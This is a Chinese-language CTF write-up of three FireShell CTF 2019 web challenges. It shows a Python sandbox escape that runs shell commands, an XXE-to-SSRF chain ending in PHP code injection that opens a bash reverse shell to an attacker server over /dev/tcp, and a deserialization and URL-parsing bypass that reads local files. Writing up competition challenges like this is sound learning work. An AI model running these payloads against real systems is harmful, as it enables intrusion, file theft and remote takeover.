FireShell CTF 2019小记
8说了,国际赛的难度大家都晓得滴。看题
Python Learning Environment
沙盒逃逸orz,最近喜欢玩的一个东东。
在前端的python.js
里面可以看到一些waf源码。不过还没有我自己fuzz来的快,毕竟前端也不是很熟,源码又太多。
fuzz结果:不能用数字,不能用[],还有一堆常见的关键词需要绕过。以及内置函数只剩下exec
和print
。
但是这些都可以用循环去绕过的。
payload:
g = ().__class__.__bases__
for i in g:
x = i.__subclasses__()
# print x
for j in x:
if j.__name__ == 'ca' + 'tch_warnings':
q=j
b = q()._module.__builtins__
b = b.values()
for i in b:
try:
if '__i'+'mpo'+'rt__' in i.__doc__:
s=i("s"+"u"+"b"+"p"+"r"+"o"+"c"+"e"+"s"+"s")
print s.check_output('l'+'s')
except:
pass
先把catch_warnings
这个类拿出来。
因为[]不能用,所以依然要用循环来从__builtins__
中拿__import__
。然后绕过关键词。
Bad Injections
进去之后发现有几个功能,在list页面发现了任意文件下载漏洞。
下载一下test.txt,发现里面有/app/Controllers/Download.php
的字样,再把Download.php下载下来。
<?php
class Download extends Controller{
public static function downloadFile($file,$hash){
if(file_exists($file) && md5($file) == $hash){
switch(strtolower(substr(strrchr(basename($file),"."),1))){
case "pdf": $type="application/pdf"; break;
case "exe": $type="application/octet-stream"; break;
case "zip": $type="application/zip"; break;
case "doc": $type="application/msword"; break;
case "xls": $type="application/vnd.ms-excel"; break;
case "ppt": $type="application/vnd.ms-powerpoint"; break;
case "gif": $type="image/gif"; break;
case "png": $type="image/png"; break;
case "jpg": $type="image/jpg"; break;
case "mp3": $type="audio/mpeg"; break;
case "php": ; break;
case "htm":
case "html":
}
header("Content-Type: ".$type);
header("Content-Length: ".filesize($file));
header("Content-Disposition: attachment; filename=".basename($file));
return readfile($file);
}else{
echo 'not found!';
}
}
}
?>
典型的mvc框架,之前有自己写过。看一波路由。然后把源码一个一个down下来。
/app/Routes.php
可以看到admin路由只能由本地访问。
Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
跟进Admin.php的sort,然后在usort函数处有代码执行
![](/qrcode.jpg)
<?php
class Admin extends Controller{
public static function sort($url,$order){
$uri = parse_url($url);
$file = file_get_contents($url);
$dom = new DOMDocument();
$dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
if($xml){
//echo count($xml->channel->item);
//var_dump($xml->channel->item->link);
$data = [];
for($i=0;$i<count($xml->channel->item);$i++){
//echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
$data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
//$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
}
//var_dump($data);
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
?>
利用的话.简单闭合就行了
id,id);};system('id');/*
先在/app/Routes.php
看到custom路由
Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler);
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});
跟进Custom.php的,发现可以xxe攻击
<?php
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}
?>
任意文件读取
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root><name>&xxe;</name></root>
SSRF
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/admin" >]>
<root><name>&xxe;</name></root>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title></title>
<link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
<link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
<script
src="https://code.jquery.com/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
crossorigin="anonymous"></script>
<script src="semantic/dist/semantic.min.js"></script>
<div class="ui tabular menu">
<a class="item" href='index'>
Home
</a>
<a class="item" href='about-us'>
About
</a>
<a class="item" href='contact-us'>
Contact
</a>
<a class='item' href="list">
List
</a>
<a class='item active' href="admin">
Admin
</a>
</div>
</head>
<body>
<div class='ui center aligned container'>
<form action='admin'>
<div class="ui input">
<input type="text" name="rss" placeholder="RSS url">
<input type="hidden" name="order" value="id">
</div>
<button type="submit" class='ui button'>check</button>
</form>
</body>
</html>
那么思路就已经很清楚了,由custom路由发起xxe攻击打ssrf,访问:http://127.0.0.1/admin?rss=xxx&order=代码执行
最后的payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1//admin?rss=<url>/rss.xml&order=id%2Cid%29%3B%7D%3Bsystem('bash+-c+%22sh+-i+%3E%26+%2Fdev%2Ftcp%2F<Your-Server-IP>%2F1234+0%3E%261%22')%3B/*">]>
<name>&xxe;</name>
确实是不错的一题。
Vice
直接给了源码,是一个ssrf题。不过结合了反序列化
<?php
//require_once 'config.php';
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
function __construct($method,$url){
$this->method = $method;
$this->url = $url;
}
function doit(){
$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
}else{
die(":)");
}
}
function __destruct(){
if(in_array($this->method,array("doit"))){
call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
}
if(isset($_GET["gg"])) {
@unserialize($_GET["gg"]);
} else {
highlight_file(__FILE__);
}
绕过url部分也比较容易。利用的是parse_url
和curl
的差异.http://admin@localhost:80@123
在php的parse_url识别url中,host为最后一个@后面的域名。 在curl中,host为localhost:80, @123 被忽略。
而waf部分
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
也容易,只要把strpos(
ext);返回值置为0就行了,而置为0的条件是黑名单里的后缀在$this->url
的第一位。
poc.php@localhost:80@123/1.php
当循环进行到.php
的时候,先匹配第一个.php
,strpos
返回0
,绕过waf。
构造exp
<?php
class SHITS{
private $url = ".php@localhost:80@123/config.php";
private $method = "doit";
}
echo urlencode(serialize(new SHITS()));
?>
本地是可以用用这个payload去控制remote_addr
去curl config.php
的,然而在题目环境并没有回显。不知道为啥。
后来才知道可以用file协议去读文件,后缀用url二次编码绕过
.
payload:
?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:33:%22file:///var/www/html/config%252ephp%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}
关键在于config%252e.php,brupsuite传入的时候经过了一次url解码,而curl是识别url编码的。
%2e
就是.
的url编码,然后放到bp里面再加一遍url编码。
我们可以看到,单纯用curl打http的话是没有用的,根本不会输出flag,这应该是作者留下的彩蛋23333,好不容易绕过了,结果拿不到flag,只echo "aaawn";
hhhh歪果仁会玩。